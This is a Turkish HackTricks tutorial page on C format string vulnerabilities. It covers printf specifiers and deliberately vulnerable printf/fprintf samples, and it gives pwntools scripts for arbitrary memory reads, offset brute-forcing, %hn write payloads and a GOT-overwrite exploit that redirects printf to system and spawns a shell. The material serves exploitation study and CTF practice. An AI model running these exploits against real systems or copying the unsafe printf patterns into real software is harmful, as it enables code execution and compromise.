11 KiB
Format Dizileri
htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!
- Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da en son PEASS sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz? ABONELİK PLANLARI'na göz atın!
- The PEASS Family koleksiyonumuzu keşfedin, özel NFT'lerimizi görün
- Resmi PEASS & HackTricks ürünlerine sahip olun
- 💬 Discord grubuna katılın veya telegram grubuna katılın veya beni Twitter'da takip edin 🐦@carlospolopm.
- Hacking püf noktalarınızı göndererek PR'ler oluşturarak hacktricks repo ve hacktricks-cloud repo ile paylaşın.
Temel Bilgiler
C'de printf
, bazı dizeleri yazdırmak için kullanılabilen bir işlevdir. Bu işlevin beklediği ilk parametre, biçimleyicilerle birlikte ham metindir. Beklenen diğer parametreler, ham metinden biçimleyicileri yerine koymak için değerlerdir.
Diğer zayıf işlevler sprintf()
ve fprintf()
'dir.
Zafiyet, bu işlevin ilk argümanı olarak bir saldırgan metnin kullanıldığı zaman ortaya çıkar. Saldırgan, printf biçim dizisi yeteneklerini kötüye kullanarak özel bir giriş oluşturabilir ve herhangi bir adresindeki herhangi bir veriyi okuyup yazabilir. Bu şekilde keyfi kod yürütebilir hale gelir.
Biçimleyiciler:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
Örnekler:
- Zafiyetli örnek:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- Normal Kullanım:
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- Eksik Argümanlarla:
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
- fprintf savunmasız:
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input cna include formatters!
fclose(output_file);
return 0;
}
İşaretçilere Erişim
%<n>$x
biçemi, n
sayısını belirterek printf'e yığın üzerindeki n'inci parametreyi seçmesini sağlar. Dolayısıyla printf kullanarak yığından 4. parametreyi okumak istiyorsanız şunu yapabilirsiniz:
printf("%x %x %x %x")
ve birinci ile dördüncü parametre arasından okuyabilirsiniz.
Ya da şunu yapabilirsiniz:
printf("$4%x")
Ve dördüncüyü doğrudan okuyun.
Saldırganın pr
**intf
parametresini kontrol ettiğine dikkat edin, bu temelde girişi printf
çağrıldığında yığında olacak anlamına gelir, bu da belirli bellek adreslerini yığında yazabileceği anlamına gelir.
{% hint style="danger" %}
Bu girişi kontrol eden bir saldırgan, yığında rastgele adres ekleyebilecek ve printf
'in bunlara erişmesini sağlayabilecek. Bu davranışın nasıl kullanılacağı bir sonraki bölümde açıklanacaktır.
{% endhint %}
Rastgele Okuma
Biçimleyici %n$s
'yi kullanarak printf
'in n pozisyonundaki adresi almasını sağlamak ve ardından onu bir dizeymiş gibi yazdırmak mümkündür (0x00 bulunana kadar yazdır). Dolayısıyla, eğer ikili dosyanın temel adresi 0x8048000
ise ve kullanıcı girişinin yığında 4. pozisyonda başladığını biliyorsak, ikilinin başlangıcını şu şekilde yazdırmak mümkündür:
from pwn import *
p = process('./bin')
payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
{% hint style="danger" %} Başlangıçta 0x8048000 adresini girişin başına koyamazsınız çünkü dize, o adresin sonunda 0x00 ile birleştirilecektir. {% endhint %}
Ofseti Bulma
Girişinize ofseti bulmak için 4 veya 8 bayt (0x41414141
) gönderebilir ve ardından %1$x
ve artırarak değeri A'ları
alana kadar artırabilirsiniz.
Brute Force printf ofseti
```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leakfrom pwn import *
Iterate over a range of integers
for i in range(10):
Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
Start a new process of the "chall" binary
p = process("./chall")
Send the payload to the process
p.sendline(payload)
Read and store the output of the process
output = p.clean()
Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}") break
Close the process
p.close()
</details>
### Ne Kadar Faydalı
Keyfi okumalar şu amaçlar için faydalı olabilir:
- Bellekten **binary**'yi **dökme**
- Hassas **bilgilerin** saklandığı belleğin belirli bölümlerine erişme (örneğin canary'ler, şifreleme anahtarları veya özel şifreler gibi bu [**CTF zorluğunda**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Keyfi Yazma**
Biçimlendirici **`$<num>%n`** **belirtilen adres**teki **yazılan bayt sayısını** \<num> parametresinde yığında yazar. Bir saldırgan printf ile istediği kadar karakter yazabiliyorsa, **`$<num>%n`**'yi bir keyfi sayıyı bir keyfi adrese yazacak şekilde kullanabilir.
Neyse ki, 9999 sayısını yazmak için girişe 9999 "A" eklemek gerekmez, bunun yerine **`%.<num-yazma>%<num>$n`** biçimlendiricisini kullanarak **`<num-yazma>`** sayısını **`num` pozisyonu tarafından işaret edilen adrese** yazmak mümkündür.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
Ancak, genellikle 0x08049724
gibi bir adres yazmak için (bu tek seferde yazılacak BÜYÜK bir sayıdır), $n
yerine genellikle $hn
kullanılır. Bu, yalnızca 2 Bayt yazmaya olanak tanır. Bu nedenle bu işlem iki kez yapılır, biri adresin en yüksek 2B'si için ve diğeri en düşük olanlar için.
Bu zafiyet, herhangi bir adrese herhangi bir şey yazmaya (keyfi yazma) olanak tanır.
Bu örnekte, amacımız daha sonra çağrılacak bir fonksiyonun GOT tablosundaki adresini üzerine yazmaktır. Bununla birlikte, bu, diğer keyfi yazma yöntemlerini suiistimal edebilir:
{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}
Kullanıcıdan argümanlarını alan bir fonksiyonun adresini system
fonksiyonuna işaret edecek şekilde üzerine yazacağız.
Bahsedildiği gibi, adresi yazmak için genellikle 2 adımda gereklidir: İlk olarak adresin 2 Bayt'ını yazarsınız ve ardından diğer 2'sini. Bunun için $hn
kullanılır.
- HOB, adresin 2 yüksek baytını çağırır
- LOB, adresin 2 düşük baytını çağırır
Sonra, format dizesinin nasıl çalıştığından dolayı [HOB, LOB]'nin önce en küçüğünü yazmanız ve ardından diğerini yazmanız gerekir.
Eğer HOB < LOB ise
[adres+2][adres]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
Eğer HOB > LOB ise
[adres+2][adres]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
{% code overflow="wrap" %}
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
{% endcode %}
Pwntools Şablonu
Bu tür bir zafiyet için bir exploit hazırlamak için bir şablon bulabilirsiniz:
{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}
Ya da bu temel örneği buradan bulabilirsiniz:
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
Format Strings to BOF
Format string zafiyetinin yazma işlemlerini yığın adreslerine yazmak ve bir tampon taşma türü zafiyetini sömürmek için kullanılabilir.
Diğer Örnekler ve Referanslar
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32 bit, relro yok, canary yok, nx, pie yok, bayt başına format dizgilerini kullanarak bayrağı yığından sızdırmak için temel kullanım (yürütme akışını değiştirmeye gerek yok)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bit, relro, canary yok, nx, pie yok, format dizgisi kullanarak
fflush
adresiniwin
işleviyle üzerine yazma (ret2win) - https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32 bit, relro, canary yok, nx, pie yok, format dizgisi kullanarak
.fini_array
içinde main içinde bir adres yazma (bu nedenle akış 1 kez daha döner) ve GOT tablosundakisystem
adresinistrlen
'e işaret edensystem
adresini yazma. Akış main'e geri döndüğünde, kullanıcı girdisiylestrlen
çalıştırılır vesystem
'e işaret ederse, geçilen komutları çalıştıracaktır.